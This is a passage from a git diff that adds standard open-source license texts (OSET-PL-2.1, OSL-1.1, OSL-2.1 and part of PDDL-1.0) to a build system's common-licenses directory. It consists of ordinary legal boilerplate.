+ The licenses granted in this Section 2 are the only rights granted under this License. No additional rights or licenses will be implied from the distribution or licensing of Covered Software under this License. Notwithstanding Section 2.1(b) above, no patent license is granted by a Contributor:
+ a. for any code that a Contributor has removed from Covered Software; or
+ b. for infringements caused by: (i) Your and any other third party’s modifications of Covered Software, or (ii) the combination of its Contributions with other software (except as part of its Contributor Version); or
+ c. under Patent Claims infringed by Covered Software in the absence of its Contributions.
+ This License does not grant any rights in the trademarks, service marks, or logos of any Contributor (except as may be necessary to comply with the notice requirements in Section 3.4).
+
+ 2.4 Subsequent Licenses
+ No Contributor makes additional grants as a result of Your choice to distribute the Covered Software under a subsequent version of this License (see Section 10.2) or under the terms of a Secondary License (if permitted under the terms of Section 3.3).
+
+ 2.5 Representation
+ Each Contributor represents that the Contributor believes its Contributions are its original creation(s) or it has sufficient rights to grant the rights to its Contributions conveyed by this License.
+
+ 2.6 Fair Use
+ This License is not intended to limit any rights You have under applicable copyright doctrines of fair use, fair dealing, or other equivalents.
+
+ 2.7 Conditions
+ Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in Section 2.1.
+
+3. Responsibilities
+
+ 3.1 Distribution of Source Form
+ All distribution of Covered Software in Source Code Form, including any Modifications that You create or to which You contribute, must be under the terms of this License. You must inform recipients that the Source Code Form of the Covered Software is governed by the terms of this License, and how they can obtain a copy of this License. You must cause any of Your Modifications to carry prominent notices stating that You changed the files. You may not attempt to alter or restrict the recipients’ rights in the Source Code Form.
+
+ 3.2 Distribution of Executable Form
+ If You distribute Covered Software in Executable Form then:
+
+ a. such Covered Software must also be made available in Source Code Form, as described in Section 3.1, and You must inform recipients of the Executable Form how they can obtain a copy of such Source Code Form by reasonable means in a timely manner, at a charge no more than the cost of distribution to the recipient; and
+ b. You may distribute such Executable Form under the terms of this License, or sublicense it under different terms, provided that the license for the Executable Form does not attempt to limit or alter the recipients’ rights in the Source Code Form under this License.
+
+ 3.3 Distribution of a Larger Work
+ You may create and distribute a Larger Work under terms of Your choice, provided that You also comply with the requirements of this License for the Covered Software. If the Larger Work is a combination of Covered Software with a work governed by one or more Secondary Licenses, and the Covered Software is not Incompatible With Secondary Licenses, this License permits You to additionally distribute such Covered Software under the terms of such Secondary License(s), so that the recipient of the Larger Work may, at their option, further distribute the Covered Software under the terms of either this License or such Secondary License(s).
+
+ 3.4 Notices
+ You may not remove or alter the substance of any license notices (including copyright notices, patent notices, disclaimers of warranty, or limitations of liability) contained within the Source Code Form of the Covered Software, except that You may alter any license notices to the extent required to remedy known factual inaccuracies.
+
+ 3.5 Application of Additional Terms
+
+ 3.5.1 You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, You may do so only on Your own behalf, and not on behalf of any Contributor. You must make it absolutely clear that any such warranty, support, indemnity, or liability obligation is offered by You alone, and You hereby agree to indemnify every Contributor for any liability incurred by such Contributor as a result of warranty, support, indemnity or liability terms You offer. You may include additional disclaimers of warranty and limitations of liability specific to any jurisdiction.
+
+ 3.5.2 You may place additional conditions upon the rights granted in this License to the extent necessary due to statute, judicial order, regulation (including without limitation state and federal procurement regulation), national security, or public interest. Any such additional conditions must be clearly described in the notice provisions required under Section 3.4. Any alteration of the terms of this License will apply to all copies of the Covered Software distributed by You or by any downstream recipients that receive the Covered Software from You.
+
+4. Inability to Comply Due to Statute or Regulation
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Software due to statute, judicial order, or regulation, then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the notices required under Section 3.4. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Termination
+
+ 5.1 Failure to Comply
+ The rights granted under this License will terminate automatically if You fail to comply with any of its terms. However, if You become compliant, then the rights granted under this License from a particular Contributor are reinstated (a) provisionally, unless and until such Contributor explicitly and finally terminates Your grants, and (b) on an ongoing basis, if such Contributor fails to notify You of the non-compliance by some reasonable means prior to 60-days after You have come back into compliance. Moreover, Your grants from a particular Contributor are reinstated on an ongoing basis if such Contributor notifies You of the non-compliance by some reasonable means, this is the first time You have received notice of non-compliance with this License from such Contributor, and You become compliant prior to 30-days after Your receipt of the notice.
+
+ 5.2 Patent Infringement Claims
 If You initiate litigation against any entity by asserting a patent infringement claim (excluding declaratory judgment actions, counter-claims, and cross-claims) alleging that a Contributor Version directly or indirectly infringes any patent, then the rights granted to You by any and all Contributors for the Covered Software under Section 2.1 of this License shall terminate.
+
+ 5.3 Additional Compliance Terms
+ Notwithstanding the foregoing in this Section 5, for purposes of this Section, if You breach Section 3.1 (Distribution of Source Form), Section 3.2 (Distribution of Executable Form), Section 3.3 (Distribution of a Larger Work), or Section 3.4 (Notices), then becoming compliant as described in Section 5.1 must also include, no later than 30 days after receipt by You of notice of such violation by a Contributor, making the Covered Software available in Source Code Form as required by this License on a publicly available computer network for a period of no less than three (3) years.
+
+ 5.4 Contributor Remedies
+ If You fail to comply with the terms of this License and do not thereafter become compliant in accordance with Section 5.1 and, if applicable, Section 5.3, then each Contributor reserves its right, in addition to any other rights it may have in law or in equity, to bring an action seeking injunctive relief, or damages for willful copyright or patent infringement (including without limitation damages for unjust enrichment, where available under law), for all actions in violation of rights that would otherwise have been granted under the terms of this License.
+
+ 5.5 End User License Agreements
+ In the event of termination under this Section 5, all end user license agreements (excluding distributors and resellers), which have been validly granted by You or Your distributors under this License prior to termination shall survive termination.
+
+6. Disclaimer of Warranty
+Covered Software is provided under this License on an “as is” basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the Covered Software is free of defects, merchantable, fit for a particular purpose or non-infringing. The entire risk as to the quality and performance of the Covered Software is with You. Should any Covered Software prove defective in any respect, You (not any Contributor) assume the cost of any necessary servicing, repair, or correction. This disclaimer of warranty constitutes an essential part of this License. No use of any Covered Software is authorized under this License except under this disclaimer.
+
+7. Limitation of Liability
+Under no circumstances and under no legal theory, whether tort (including negligence), contract, or otherwise, shall any Contributor, or anyone who distributes Covered Software as permitted above, be liable to You for any direct, indirect, special, incidental, or consequential damages of any character including, without limitation, damages for lost profits, loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses, even if such party shall have been informed of the possibility of such damages. This limitation of liability shall not apply to liability for death or personal injury resulting from such party’s negligence to the extent applicable law prohibits such limitation. Some jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so this exclusion and limitation may not apply to You.
+
+8. Litigation
+Any litigation relating to this License may be brought only in the courts of a jurisdiction where the defendant maintains its principal place of business and such litigation shall be governed by laws of that jurisdiction, without reference to its conflict-of-law provisions. Nothing in this Section shall prevent a party’s ability to bring cross-claims or counter-claims.
+
+9. Government Terms
+
+ 9.1 Commercial Item
+ The Covered Software is a “commercial item,” as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of “commercial computer software” and “commercial computer software documentation,” as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Software with only those rights set forth herein.
+
+ 9.2 No Sovereign Immunity
+ The U.S. federal government and states that use or distribute Covered Software hereby waive their sovereign immunity with respect to enforcement of the provisions of this License.
+
+ 9.3 Choice of Law and Venue
+
+ 9.3.1 If You are a government of a state of the United States, or Your use of the Covered Software is pursuant to a procurement contract with such a state government, this License shall be governed by the law of such state, excluding its conflict-of-law provisions, and the adjudication of disputes relating to this License will be subject to the exclusive jurisdiction of the state and federal courts located in such state.
+ 9.3.2 If You are an agency of the United States federal government, or Your use of the Covered Software is pursuant to a procurement contract with such an agency, this License shall be governed by federal law for all purposes, and the adjudication of disputes relating to this License will be subject to the exclusive jurisdiction of the federal courts located in Washington, D.C.
+ 9.3.3 You may alter the terms of this Section 9.3 for this License as described in Section 3.5.2.
+
+ 9.4 Supremacy
+ This Section 9 is in lieu of, and supersedes, any other Federal Acquisition Regulation, Defense Federal Acquisition Regulation, or other clause or provision that addresses government rights in computer software under this License.
+
+10. Miscellaneous
+This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. Any law or regulation, which provides that the language of a contract shall be construed against the drafter, shall not be used to construe this License against a Contributor.
+
+11. Versions of the License
+
+ 11.1 New Versions The Open Source Election Technology Foundation (“OSET”) (formerly known as the Open Source Digital Voting Foundation) is the steward of this License. Except as provided in Section 11.3, no one other than the license steward has the right to modify or publish new versions of this License. Each version will be given a distinguishing version number.
+
+ 11.2 Effects of New Versions You may distribute the Covered Software under the terms of the version of the License under which You originally received the Covered Software, or under the terms of any subsequent version published by the license steward.
+
+ 11.3 Modified Versions If You create software not governed by this License, and You want to create a new license for such software, You may create and use a modified version of this License if You rename the license and remove any references to the name of the license steward (except to note that such modified license differs from this License).
+
+ 11.4 Distributing Source Code Form That is Incompatible With Secondary Licenses If You choose to distribute Source Code Form that is Incompatible With Secondary Licenses under the terms of this version of the License, the notice described in Exhibit B of this License must be attached.
+
+EXHIBIT A – Source Code Form License Notice
+
+This Source Code Form is subject to the terms of the OSET Public License, v.2.1 (“OSET-PL-2.1”). If a copy of the OPL was not distributed with this file, You can obtain one at: www.OSETFoundation.org/public-license.
+
+If it is not possible or desirable to put the Notice in a particular file, then You may include the Notice in a location (e.g., such as a LICENSE file in a relevant directory) where a recipient would be likely to look for such a notice. You may add additional accurate notices of copyright ownership.
+
+EXHIBIT B - “Incompatible With Secondary License” Notice
+
+This Source Code Form is “Incompatible With Secondary Licenses”, as defined by the OSET Public License, v.2.1.
diff --git a/meta/files/common-licenses/OSL-1.1 b/meta/files/common-licenses/OSL-1.1
new file mode 100644
index 0000000000..050f131fc2
--- /dev/null
+++ b/meta/files/common-licenses/OSL-1.1
@@ -0,0 +1,47 @@
+The Open Software License v. 1.1
+
+This Open Software License (the "License") applies to any original work of authorship (the "Original Work") whose owner (the "Licensor") has placed the following notice immediately following the copyright notice for the Original Work:
+
+ Licensed under the Open Software License version 1.1
+
+1) Grant of Copyright License. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, non-sublicenseable license to do the following:
+
+ a) to reproduce the Original Work in copies;
+
+ b) to prepare derivative works ("Derivative Works") based upon the Original Work;
+
+ c) to distribute copies of the Original Work and Derivative Works to the public, with the proviso that copies of Original Work or Derivative Works that You distribute shall be licensed under the Open Software License;
+
+ d) to perform the Original Work publicly; and
+
+ e) to display the Original Work publicly.
+
+2) Grant of Patent License. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, non-sublicenseable license, under patent claims owned or controlled by the Licensor that are embodied in the Original Work as furnished by the Licensor ("Licensed Claims") to make, use, sell and offer for sale the Original Work. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, non-sublicenseable license under the Licensed Claims to make, use, sell and offer for sale Derivative Works.
+
+3) Grant of Source Code License. The term "Source Code" means the preferred form of the Original Work for making modifications to it and all available documentation describing how to modify the Original Work. Licensor hereby agrees to provide a machine-readable copy of the Source Code of the Original Work along with each copy of the Original Work that Licensor distributes. Licensor reserves the right to satisfy this obligation by placing a machine-readable copy of the Source Code in an information repository reasonably calculated to permit inexpensive and convenient access by You for as long as Licensor continues to distribute the Original Work, and by publishing the address of that information repository in a notice immediately following the copyright notice that applies to the Original Work.
+
+4) Exclusions From License Grant. Nothing in this License shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor except as expressly stated herein. No patent license is granted to make, use, sell or offer to sell embodiments of any patent claims other than the Licensed Claims defined in Section 2. No right is granted to the trademarks of Licensor even if such marks are included in the Original Work. Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this License any Original Work that Licensor otherwise would have a right to license.
+
+5) External Deployment. The term "External Deployment" means the use or distribution of the Original Work or Derivative Works in any way such that the Original Work or Derivative Works may be used by anyone other than You, whether the Original Work or Derivative Works are distributed to those persons or made available as an application intended for use over a computer network. As an express condition for the grants of license hereunder, You agree that any External Deployment by You of a Derivative Work shall be deemed a distribution and shall be licensed to all under the terms of this License, as prescribed in section 1(c) herein.
+
+6) Attribution Rights. You must retain, in the Source Code of any Derivative Works that You create, all copyright, patent or trademark notices from the Source Code of the Original Work, as well as any notices of licensing and any descriptive text identified therein as an "Attribution Notice." You must cause the Source Code for any Derivative Works that You create to carry a prominent Attribution Notice reasonably calculated to inform recipients that You have modified the Original Work.
+
+7) Warranty and Disclaimer of Warranty. Licensor warrants that the copyright in and to the Original Work is owned by the Licensor or that the Original Work is distributed by Licensor under a valid current license from the copyright owner. Except as expressly stated in the immediately proceeding sentence, the Original Work is provided under this License on an "AS IS" BASIS and WITHOUT WARRANTY, either express or implied, including, without limitation, the warranties of NON-INFRINGEMENT, MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL WORK IS WITH YOU. This DISCLAIMER OF WARRANTY constitutes an essential part of this License. No license to Original Work is granted hereunder except under this disclaimer.
+
+8) Limitation of Liability. Under no circumstances and under no legal theory, whether in tort (including negligence), contract, or otherwise, shall the Licensor be liable to any person for any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or the use of the Original Work including, without limitation, damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses. This limitation of liability shall not apply to liability for death or personal injury resulting from Licensor's negligence to the extent applicable law prohibits such limitation. Some jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so this exclusion and limitation may not apply to You.
+
+9) Acceptance and Termination. If You distribute copies of the Original Work or a Derivative Work, You must make a reasonable effort under the circumstances to obtain the express and volitional assent of recipients to the terms of this License. Nothing else but this License (or another written agreement between Licensor and You) grants You permission to create Derivative Works based upon the Original Work or to exercise any of the rights granted in Sections 1 herein, and any attempt to do so except under the terms of this License (or another written agreement between Licensor and You) is expressly prohibited by U.S. copyright law, the equivalent laws of other countries, and by international treaty. Therefore, by exercising any of the rights granted to You in Sections 1 herein, You indicate Your acceptance of this License and all of its terms and conditions. This License shall terminate immediately and you may no longer exercise any of the rights granted to You by this License upon Your failure to honor the proviso in Section 1(c) herein.
+
+10) Mutual Termination for Patent Action. This License shall terminate automatically and You may no longer exercise any of the rights granted to You by this License if You file a lawsuit in any court alleging that any OSI Certified open source software that is licensed under any license containing this "Mutual Termination for Patent Action" clause infringes any patent claims that are essential to use that software.
+
+11) Jurisdiction, Venue and Governing Law. Any action or suit relating to this License may be brought only in the courts of a jurisdiction wherein the Licensor resides or in which Licensor conducts its primary business, and under the laws of that jurisdiction excluding its conflict-of-law provisions. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any use of the Original Work outside the scope of this License or after its termination shall be subject to the requirements and penalties of the U.S. Copyright Act, 17 U.S.C. å¤ 101 et seq., the equivalent laws of other countries, and international treaty. This section shall survive the termination of this License.
+
+12) Attorneys Fees. In any action to enforce the terms of this License or seeking damages relating thereto, the prevailing party shall be entitled to recover its costs and expenses, including, without limitation, reasonable attorneys' fees and costs incurred in connection with such action, including any appeal of such action. This section shall survive the termination of this License.
+
+13) Miscellaneous. This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+
+14) Definition of "You" in This License. "You" throughout this License, whether in upper or lower case, means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with you. For purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+15) Right to Use. You may use the Original Work in all ways not otherwise restricted or conditioned by this License or by law, and Licensor promises not to interfere with or be responsible for such uses by You.
+
+This license is Copyright (C) 2002 Lawrence E. Rosen. All rights reserved. Permission is hereby granted to copy and distribute this license without modification. This license may not be modified without the express written permission of its copyright owner.
diff --git a/meta/files/common-licenses/OSL-2.1 b/meta/files/common-licenses/OSL-2.1
new file mode 100644
index 0000000000..a2f08d176d
--- /dev/null
+++ b/meta/files/common-licenses/OSL-2.1
@@ -0,0 +1,47 @@
+The Open Software Licensev. 2.1
+
+This Open Software License (the "License") applies to any original work of authorship (the "Original Work") whose owner (the "Licensor") has placed the following notice immediately following the copyright notice for the Original Work:
+
+ Licensed under the Open Software License version 2.1
+
+1) Grant of Copyright License. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, sublicenseable license to do the following:
+
+ a) to reproduce the Original Work in copies;
+
+ b) to prepare derivative works ("Derivative Works") based upon the Original Work;
+
+ c) to distribute copies of the Original Work and Derivative Works to the public, with the proviso that copies of Original Work or Derivative Works that You distribute shall be licensed under the Open Software License;
+
+ d) to perform the Original Work publicly; and
+
+ e) to display the Original Work publicly.
+
+2) Grant of Patent License. Licensor hereby grants You a world-wide, royalty-free, non-exclusive, perpetual, sublicenseable license, under patent claims owned or controlled by the Licensor that are embodied in the Original Work as furnished by the Licensor, to make, use, sell and offer for sale the Original Work and Derivative Works.
+
+3) Grant of Source Code License. The term "Source Code" means the preferred form of the Original Work for making modifications to it and all available documentation describing how to modify the Original Work. Licensor hereby agrees to provide a machine-readable copy of the Source Code of the Original Work along with each copy of the Original Work that Licensor distributes. Licensor reserves the right to satisfy this obligation by placing a machine-readable copy of the Source Code in an information repository reasonably calculated to permit inexpensive and convenient access by You for as long as Licensor continues to distribute the Original Work, and by publishing the address of that information repository in a notice immediately following the copyright notice that applies to the Original Work.
+
+4) Exclusions From License Grant. Neither the names of Licensor, nor the names of any contributors to the Original Work, nor any of their trademarks or service marks, may be used to endorse or promote products derived from this Original Work without express prior written permission of the Licensor. Nothing in this License shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor except as expressly stated herein. No patent license is granted to make, use, sell or offer to sell embodiments of any patent claims other than the licensed claims defined in Section 2. No right is granted to the trademarks of Licensor even if such marks are included in the Original Work. Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this License any Original Work that Licensor otherwise would have a right to license.
+
+5) External Deployment. The term "External Deployment" means the use or distribution of the Original Work or Derivative Works in any way such that the Original Work or Derivative Works may be used by anyone other than You, whether the Original Work or Derivative Works are distributed to those persons or made available as an application intended for use over a computer network. As an express condition for the grants of license hereunder, You agree that any External Deployment by You of a Derivative Work shall be deemed a distribution and shall be licensed to all under the terms of this License, as prescribed in section 1(c) herein.
+
+6) Attribution Rights. You must retain, in the Source Code of any Derivative Works that You create, all copyright, patent or trademark notices from the Source Code of the Original Work, as well as any notices of licensing and any descriptive text identified therein as an "Attribution Notice." You must cause the Source Code for any Derivative Works that You create to carry a prominent Attribution Notice reasonably calculated to inform recipients that You have modified the Original Work.
+
+7) Warranty of Provenance and Disclaimer of Warranty. Licensor warrants that the copyright in and to the Original Work and the patent rights granted herein by Licensor are owned by the Licensor or are sublicensed to You under the terms of this License with the permission of the contributor(s) of those copyrights and patent rights. Except as expressly stated in the immediately proceeding sentence, the Original Work is provided under this License on an "AS IS" BASIS and WITHOUT WARRANTY, either express or implied, including, without limitation, the warranties of NON-INFRINGEMENT, MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL WORK IS WITH YOU. This DISCLAIMER OF WARRANTY constitutes an essential part of this License. No license to Original Work is granted hereunder except under this disclaimer.
+
+8) Limitation of Liability. Under no circumstances and under no legal theory, whether in tort (including negligence), contract, or otherwise, shall the Licensor be liable to any person for any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or the use of the Original Work including, without limitation, damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses. This limitation of liability shall not apply to liability for death or personal injury resulting from Licensor's negligence to the extent applicable law prohibits such limitation. Some jurisdictions do not allow the exclusion or limitation of incidental or consequential damages, so this exclusion and limitation may not apply to You.
+
+9) Acceptance and Termination. If You distribute copies of the Original Work or a Derivative Work, You must make a reasonable effort under the circumstances to obtain the express assent of recipients to the terms of this License. Nothing else but this License (or another written agreement between Licensor and You) grants You permission to create Derivative Works based upon the Original Work or to exercise any of the rights granted in Section 1 herein, and any attempt to do so except under the terms of this License (or another written agreement between Licensor and You) is expressly prohibited by U.S. copyright law, the equivalent laws of other countries, and by international treaty. Therefore, by exercising any of the rights granted to You in Section 1 herein, You indicate Your acceptance of this License and all of its terms and conditions. This License shall terminate immediately and you may no longer exercise any of the rights granted to You by this License upon Your failure to honor the proviso in Section 1(c) herein.
+
+10) Termination for Patent Action. This License shall terminate automatically and You may no longer exercise any of the rights granted to You by this License as of the date You commence an action, including a cross-claim or counterclaim, against Licensor or any licensee alleging that the Original Work infringes a patent. This termination provision shall not apply for an action alleging patent infringement by combinations of the Original Work with other software or hardware.
+
+11) Jurisdiction, Venue and Governing Law. Any action or suit relating to this License may be brought only in the courts of a jurisdiction wherein the Licensor resides or in which Licensor conducts its primary business, and under the laws of that jurisdiction excluding its conflict-of-law provisions. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any use of the Original Work outside the scope of this License or after its termination shall be subject to the requirements and penalties of the U.S. Copyright Act, 17 U.S.C. § 101 et seq., the equivalent laws of other countries, and international treaty. This section shall survive the termination of this License.
+
+12) Attorneys Fees. In any action to enforce the terms of this License or seeking damages relating thereto, the prevailing party shall be entitled to recover its costs and expenses, including, without limitation, reasonable attorneys' fees and costs incurred in connection with such action, including any appeal of such action. This section shall survive the termination of this License.
+
+13) Miscellaneous. This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+
+14) Definition of "You" in This License. "You" throughout this License, whether in upper or lower case, means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with you. For purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+15) Right to Use. You may use the Original Work in all ways not otherwise restricted or conditioned by this License or by law, and Licensor promises not to interfere with or be responsible for such uses by You.
+
+This license is Copyright (C) 2003-2004 Lawrence E. Rosen. All rights reserved. Permission is hereby granted to copy and distribute this license without modification. This license may not be modified without the express written permission of its copyright owner.
diff --git a/meta/files/common-licenses/PDDL-1.0 b/meta/files/common-licenses/PDDL-1.0
new file mode 100644
index 0000000000..6a830d7df2
--- /dev/null
+++ b/meta/files/common-licenses/PDDL-1.0
@@ -0,0 +1,136 @@
+Open Data Commons Public Domain Dedication & License (PDDL)
+
+Preamble
+The Open Data Commons - Public Domain Dedication & Licence is a document intended to allow you to freely share, modify, and use this work for any purpose and without any restrictions. This licence is intended for use on databases or their contents ("data"), either together or individually.
+
+Many databases are covered by copyright. Some jurisdictions, mainly in Europe, have specific special rights that cover databases called the "sui generis" database right. Both of these sets of rights, as well as other legal rights used to protect databases and data, can create uncertainty or practical difficulty for those wishing to share databases and their underlying data but retain a limited amount of rights under a "some rights reserved" approach to licensing as outlined in the Science Commons Protocol for Implementing Open Access Data. As a result, this waiver and licence tries to the fullest extent possible to eliminate or fully license any rights that cover this database and data. Any Community Norms or similar statements of use of the database or data do not form a part of this document, and do not act as a contract for access or other terms of use for the database or data.
+
+The position of the recipient of the work
+
+Because this document places the database and its contents in or as close as possible within the public domain, there are no restrictions or requirements placed on the recipient by this document. Recipients may use this work commercially, use technical protection measures, combine this data or database with other databases or data, and share their changes and additions or keep them secret. It is not a requirement that recipients provide further users with a copy of this licence or attribute the original creator of the data or database as a source. The goal is to eliminate restrictions held by the original creator of the data and database on the use of it by others.
+
+The position of the dedicator of the work
+
+Copyright law, as with most other law under the banner of "intellectual property", is inherently national law. This means that there exists several differences in how copyright and other IP rights can be relinquished, waived or licensed in the many legal jurisdictions of the world. This is despite much harmonisation of minimum levels of protection. The internet and other communication technologies span these many disparate legal jurisdictions and thus pose special difficulties for a document relinquishing and waiving intellectual property rights, including copyright and database rights, for use by the global community. Because of this feature of intellectual property law, this document first relinquishes the rights and waives the relevant rights and claims. It then goes on to license these same rights for jurisdictions or areas of law that may make it difficult to relinquish or waive rights or claims.
+
+The purpose of this document is to enable rightsholders to place their work into the public domain. Unlike licences for free and open source software, free cultural works, or open content licences, rightsholders will not be able to "dual license" their work by releasing the same work under different licences. This is because they have allowed anyone to use the work in whatever way they choose. Rightsholders therefore can’t re-license it under copyright or database rights on different terms because they have nothing left to license. Doing so creates truly accessible data to build rich applications and advance the progress of science and the arts.
+
+This document can cover either or both of the database and its contents (the data). Because databases can have a wide variety of content - not just factual data - rightsholders should use the Open Data Commons - Public Domain Dedication & Licence for an entire database and its contents only if everything can be placed under the terms of this document. Because even factual data can sometimes have intellectual property rights, rightsholders should use this licence to cover both the database and its factual data when making material available under this document; even if it is likely that the data would not be covered by copyright or database rights.
+
+Rightsholders can also use this document to cover any copyright or database rights claims over only a database, and leave the contents to be covered by other licences or documents. They can do this because this document refers to the "Work", which can be either - or both - the database and its contents. As a result, rightsholders need to clearly state what they are dedicating under this document when they dedicate it.
+
+Just like any licence or other document dealing with intellectual property, rightsholders should be aware that one can only license what one owns. Please ensure that the rights have been cleared to make this material available under this document.
+
+This document permanently and irrevocably makes the Work available to the public for any use of any kind, and it should not be used unless the rightsholder is prepared for this to happen.
+
+Part I: Introduction
+
+The Rightsholder (the Person holding rights or claims over the Work) agrees as follows:
+
+1.0 Definitions of Capitalised Words
+
+"Copyright" - Includes rights under copyright and under neighbouring rights and similarly related sets of rights under the law of the relevant jurisdiction under Section 6.4.
+
+"Data" - The contents of the Database, which includes the information, independent works, or other material collected into the Database offered under the terms of this Document.
+
+"Database" - A collection of Data arranged in a systematic or methodical way and individually accessible by electronic or other means offered under the terms of this Document.
+
+"Database Right" - Means rights over Data resulting from the Chapter III ("sui generis") rights in the Database Directive (Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases) and any future updates as well as any similar rights available in the relevant jurisdiction under Section 6.4.
+
+"Document" - means this relinquishment and waiver of rights and claims and back up licence agreement.
+
+"Person" - Means a natural or legal person or a body of persons corporate or incorporate.
+
+"Use" - As a verb, means doing any act that is restricted by Copyright or Database Rights whether in the original medium or any other; and includes modifying the Work as may be technically necessary to use it in a different mode or format. This includes the right to sublicense the Work.
+
+"Work" - Means either or both of the Database and Data offered under the terms of this Document.
+
+"You" - the Person acquiring rights under the licence elements of this Document.
+
+Words in the singular include the plural and vice versa.
+
+2.0 What this document covers
+
+2.1. Legal effect of this Document. This Document is:
+
+ a. A dedication to the public domain and waiver of Copyright and Database Rights over the Work; and
+
+ b. A licence of Copyright and Database Rights over the Work in jurisdictions that do not allow for relinquishment or waiver.
+
+2.2. Legal rights covered.
+
+ a. Copyright. Any copyright or neighbouring rights in the Work. Copyright law varies between jurisdictions, but is likely to cover: the Database model or schema, which is the structure, arrangement, and organisation of the Database, and can also include the Database tables and table indexes; the data entry and output sheets; and the Field names of Data stored in the Database. Copyright may also cover the Data depending on the jurisdiction and type of Data; and
+
+ b. Database Rights. Database Rights only extend to the extraction and re-utilisation of the whole or a substantial part of the Data. Database Rights can apply even when there is no copyright over the Database. Database Rights can also apply when the Data is removed from the Database and is selected and arranged in a way that would not infringe any applicable copyright.
+
+2.2 Rights not covered.
+
+ a. This Document does not apply to computer programs used in the making or operation of the Database;
+
+ b. This Document does not cover any patents over the Data or the Database. Please see Section 4.2 later in this Document for further details; and
+
+ c. This Document does not cover any trade marks associated with the Database. Please see Section 4.3 later in this Document for further details.
+
+Users of this Database are cautioned that they may have to clear other rights or consult other licences.
+
+2.3 Facts are free. The Rightsholder takes the position that factual information is not covered by Copyright. This Document however covers the Work in jurisdictions that may protect the factual information in the Work by Copyright, and to cover any information protected by Copyright that is contained in the Work.
+
+Part II: Dedication to the public domain
+
+3.0 Dedication, waiver, and licence of Copyright and Database Rights
+
+3.1 Dedication of Copyright and Database Rights to the public domain. The Rightsholder by using this Document, dedicates the Work to the public domain for the benefit of the public and relinquishes all rights in Copyright and Database Rights over the Work.
+
+ a. The Rightsholder realises that once these rights are relinquished, that the Rightsholder has no further rights in Copyright and Database Rights over the Work, and that the Work is free and open for others to Use.
+
+ b. The Rightsholder intends for their relinquishment to cover all present and future rights in the Work under Copyright and Database Rights, whether they are vested or contingent rights, and that this relinquishment of rights covers all their heirs and successors.
+
+The above relinquishment of rights applies worldwide and includes media and formats now known or created in the future.
+
+3.2 Waiver of rights and claims in Copyright and Database Rights when Section 3.1 dedication inapplicable. If the dedication in Section 3.1 does not apply in the relevant jurisdiction under Section 6.4, the Rightsholder waives any rights and claims that the Rightsholder may have or acquire in the future over the Work in:
+
+ a. Copyright; and
+
+ b. Database Rights.
+
+To the extent possible in the relevant jurisdiction, the above waiver of rights and claims applies worldwide and includes media and formats now known or created in the future. The Rightsholder agrees not to assert the above rights and waives the right to enforce them over the Work.
+
+3.3 Licence of Copyright and Database Rights when Sections 3.1 and 3.2 inapplicable. If the dedication and waiver in Sections 3.1 and 3.2 does not apply in the relevant jurisdiction under Section 6.4, the Rightsholder and You agree as follows:
+
+ a. The Licensor grants to You a worldwide, royalty-free, non-exclusive, licence to Use the Work for the duration of any applicable Copyright and Database Rights. These rights explicitly include commercial use, and do not exclude any field of endeavour. To the extent possible in the relevant jurisdiction, these rights may be exercised in all media and formats whether now known or created in the future.
+
+3.4 Moral rights. This section covers moral rights, including the right to be identified as the author of the Work or to object to treatment that would otherwise prejudice the author’s honour and reputation, or any other derogatory treatment:
+
